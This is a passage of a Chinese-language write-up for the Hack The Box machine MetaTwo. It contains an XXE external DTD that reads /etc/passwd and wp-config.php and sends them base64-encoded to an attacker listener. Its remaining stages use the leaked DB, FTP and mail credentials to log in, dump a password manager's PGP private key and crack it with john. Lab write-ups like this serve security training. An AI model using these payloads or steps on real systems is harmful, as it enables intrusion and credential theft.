10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /evil.dtd HTTP/1.1" 200 -
10.129.231.241 - - [15/Sep/2024 16:37:30] "GET /?p=cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovcnVuL2lyY2Q6L3Vzci9zYmluL25vbG9naW4KZ25hdHM6eDo0MTo0MTpHbmF0cyBCdWctUmVwb3J0aW5nIFN5c3RlbSAoYWRtaW4pOi92YXIvbGliL2duYXRzOi91c3Ivc2Jpbi9ub2xvZ2luCm5vYm9keTp4OjY1NTM0OjY1NTM0Om5vYm9keTovbm9uZXhpc3RlbnQ6L3Vzci9zYmluL25vbG9naW4KX2FwdDp4OjEwMDo2NTUzNDo6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtbmV0d29yazp4OjEwMToxMDI6c3lzdGVtZCBOZXR3b3JrIE1hbmFnZW1lbnQsLCw6L3J1bi9zeXN0ZW1kOi91c3Ivc2Jpbi9ub2xvZ2luCnN5c3RlbWQtcmVzb2x2ZTp4OjEwMjoxMDM6c3lzdGVtZCBSZXNvbHZlciwsLDovcnVuL3N5c3RlbWQ6L3Vzci9zYmluL25vbG9naW4KbWVzc2FnZWJ1czp4OjEwMzoxMDk6Oi9ub25leGlzdGVudDovdXNyL3NiaW4vbm9sb2dpbgpzc2hkOng6MTA0OjY1NTM0OjovcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4Kam5lbHNvbjp4OjEwMDA6MTAwMDpqbmVsc29uLCwsOi9ob21lL2puZWxzb246L2Jpbi9iYXNoCnN5c3RlbWQtdGltZXN5bmM6eDo5OTk6OTk5OnN5c3RlbWQgVGltZSBTeW5jaHJvbml6YXRpb246LzovdXNyL3NiaW4vbm9sb2dpbgpzeXN0ZW1kLWNvcmVkdW1wOng6OTk4Ojk5ODpzeXN0ZW1kIENvcmUgRHVtcGVyOi86L3Vzci9zYmluL25vbG9naW4KbXlzcWw6eDoxMDU6MTExOk15U1FMIFNlcnZlciwsLDovbm9uZXhpc3RlbnQ6L2Jpbi9mYWxzZQpwcm9mdHBkOng6MTA2OjY1NTM0OjovcnVuL3Byb2Z0cGQ6L3Vzci9zYmluL25vbG9naW4KZnRwOng6MTA3OjY1NTM0Ojovc3J2L2Z0cDovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
+ + + +

base64解码结果:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:105:111:MySQL Server,,,:/nonexistent:/bin/false
proftpd:x:106:65534::/run/proftpd:/usr/sbin/nologin
ftp:x:107:65534::/srv/ftp:/usr/sbin/nologin
+ +

根据此结果判断,有个叫jnelson的普通用户存在。

+

修改evil.dtd文件内容,用于获取wp_config.php配置文件信息

+
1
2
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=../wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; trick SYSTEM 'http://10.10.14.8:8080/?p=%file;'>" >
+ + + +

重复上述上传过程,并解码返回的信息,得到如下内容:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
/** The name of the database for WordPress */
define( 'DB_NAME', 'blog' );

/** MySQL database username */
define( 'DB_USER', 'blog' );

/** MySQL database password */
define( 'DB_PASSWORD', '635Aq@TdqrCwXFUZ' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );

/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

define( 'FS_METHOD', 'ftpext' );
define( 'FTP_USER', 'metapress.htb' );
define( 'FTP_PASS', '9NYS_ii@FyL_p5M2NvJ' );
define( 'FTP_HOST', 'ftp.metapress.htb' );
define( 'FTP_BASE', 'blog/' );
define( 'FTP_SSL', false );

/**#@+
* Authentication Unique Keys and Salts.
* @since 2.6.0
*/
define( 'AUTH_KEY', '?!Z$uGO*A6xOE5x,pweP4i*z;m`|.Z:X@)QRQFXkCRyl7}`rXVG=3 n>+3m?.B/:' );
define( 'SECURE_AUTH_KEY', 'x$i$)b0]b1cup;47`YVua/JHq%*8UA6g]0bwoEW:91EZ9h]rWlVq%IQ66pf{=]a%' );
define( 'LOGGED_IN_KEY', 'J+mxCaP4z<g.6P^t`ziv>dd}EEi%48%JnRq^2MjFiitn#&n+HXv]||E+F~C{qKXy' );
define( 'NONCE_KEY', 'SmeDr$$O0ji;^9]*`~GNe!pX@DvWb4m9Ed=Dd(.r-q{^z(F?)7mxNUg986tQO7O5' );
define( 'AUTH_SALT', '[;TBgc/,M#)d5f[H*tg50ifT?Zv.5Wx=`l@v$-vH*<~:0]s}d<&M;.,x0z~R>3!D' );
define( 'SECURE_AUTH_SALT', '>`VAs6!G955dJs?$O4zm`.Q;amjW^uJrk_1-dI(SjROdW[S&~omiH^jVC?2-I?I.' );
define( 'LOGGED_IN_SALT', '4[fS^3!=%?HIopMpkgYboy8-jl^i]Mw}Y d~N=&^JsI`M)FJTJEVI) N#NOidIf=' );
define( 'NONCE_SALT', '.sU&CQ@IRlh O;5aslY+Fq8QWheSNxd6Ve#}w!Bq,h}V9jKSkTGsv%Y451F8L=bL' );

/**
* WordPress Database Table prefix.
*/
$table_prefix = 'wp_';

/**
* For developers: WordPress debugging mode.
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
+ +

通过此信息,获得了FTP服务器的用户名和密码

+
1
2
username : metapress.htb
password : 9NYS_ii@FyL_p5M2NvJ
+ +

连接到FTP服务器:

+
1
2
3
4
5
6
7
8
9
10
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# ftp metapress.htb@$IP
Connected to 10.129.231.241.
220 ProFTPD Server (Debian) [::ffff:10.129.231.241]
331 Password required for metapress.htb
Password:
230 User metapress.htb logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
+ + + +

在 ftp 服务器中,找到了邮件服务器的源代码和一个向所有用户发送电子邮件的脚本send_mail.php,其中包含 jnelson 用户的凭据

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ftp> ls
229 Entering Extended Passive Mode (|||15602|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 5 metapress.htb metapress.htb 4096 Oct 5 2022 blog
drwxr-xr-x 3 metapress.htb metapress.htb 4096 Oct 5 2022 mailer
226 Transfer complete
ftp> cd mailer
250 CWD command successful
ftp> ls
229 Entering Extended Passive Mode (|||2643|)
150 Opening ASCII mode data connection for file list
drwxr-xr-x 4 metapress.htb metapress.htb 4096 Oct 5 2022 PHPMailer
-rw-r--r-- 1 metapress.htb metapress.htb 1126 Jun 22 2022 send_email.php
226 Transfer complete
ftp> get send_email.php
local: send_email.php remote: send_email.php
229 Entering Extended Passive Mode (|||61637|)
150 Opening BINARY mode data connection for send_email.php (1126 bytes)
100% |**************************************************************| 1126 15.12 MiB/s 00:00 ETA
226 Transfer complete
1126 bytes received in 00:00 (145.75 KiB/s)
+ +

在ftp中使用get命令将此文件下载到本地查看:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
/*
* This script will be used to send an email to all our users when ready for launch
*/

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\SMTP;
use PHPMailer\PHPMailer\Exception;

require 'PHPMailer/src/Exception.php';
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';

$mail = new PHPMailer(true);

$mail->SMTPDebug = 3;
$mail->isSMTP();

$mail->Host = "mail.metapress.htb";
$mail->SMTPAuth = true;
$mail->Username = "jnelson@metapress.htb";
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
$mail->SMTPSecure = "tls";
$mail->Port = 587;

$mail->From = "jnelson@metapress.htb";
$mail->FromName = "James Nelson";

$mail->addAddress("info@metapress.htb");

$mail->isHTML(true);

$mail->Subject = "Startup";
$mail->Body = "<i>We just started our new blog metapress.htb!</i>";

try {
$mail->send();
echo "Message has been sent successfully";
} catch (Exception $e) {
echo "Mailer Error: " . $mail->ErrorInfo;
}
+ + + +

结合之前获得的/etc/passwd文件,有个叫jnelson的用户存在,在此处获得了密码。

+
1
2
$mail->Username = "jnelson@metapress.htb";                 
$mail->Password = "Cb4_JmWM8zUZWMu@Ys";
+ +

利用ssh登陆:

+
1
ssh jnelson@$IP
+ +

flag1

+

获取到user_flag:

+
1
0a432515f485c621b015cefe55d1e72e
+ + + +

提权获得root_flag

查看到其中有一个隐藏文件夹passpie

+
1
2
3
4
5
6
7
8
9
10
11
jnelson@meta2:~$ ls -la
total 32
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 2022 .
drwxr-xr-x 3 root root 4096 Oct 5 2022 ..
lrwxrwxrwx 1 root root 9 Jun 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson 220 Jun 26 2022 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26 2022 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 2022 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 2022 .passpie
-rw-r--r-- 1 jnelson jnelson 807 Jun 26 2022 .profile
-rw-r----- 1 root jnelson 33 Sep 15 05:47 user.txt
+ +

上网查到,这是一个python写的密码管理器。

+

根据官网文档,可以使用命令导出密码。

+
1
passpie export password.db
+ +

The .keys file contains gpg keys which contain the passpie passphrase.

+
1
2
3
4
5
6
7
jnelson@meta2://home/jnelson/.passpie$ ls -la
total 24
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 2022 .
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 2022 ..
-r-xr-x--- 1 jnelson jnelson 3 Jun 26 2022 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26 2022 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 2022 ssh
+ + + +
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
jnelson@meta2://home/jnelson/.passpie$ cat .keys 
-----BEGIN PGP PUBLIC KEY BLOCK-----

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
fo6KI+w2uXLaw+bIT1XZurDN
=dqsF
-----END PGP PUBLIC KEY BLOCK-----
-----BEGIN PGP PRIVATE KEY BLOCK-----

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
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----
+ + + +

保存私钥到文件key,并转换为john hash格式:

+
1
2
3
4
5
6
7
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# gpg2john key > key.hash
File key

┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# cat key.hash
Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::key
+ +

First let us generate the password hash from the private GPG key using gpg2john and save it into a file named key.hash
运行john时报错:

+
1
Crash recovery file is locked: /root/.john/john.rec
+ +

解决方法:

+
1
rm /root/.john/john.rec
+ +

开始爆破:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root@kali)-[/home/h4m5t/Desktop/HTB/MetaTwo]
└─# john -wordlist=/usr/share/wordlists/rockyou.txt key.hash
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182 (Passpie)
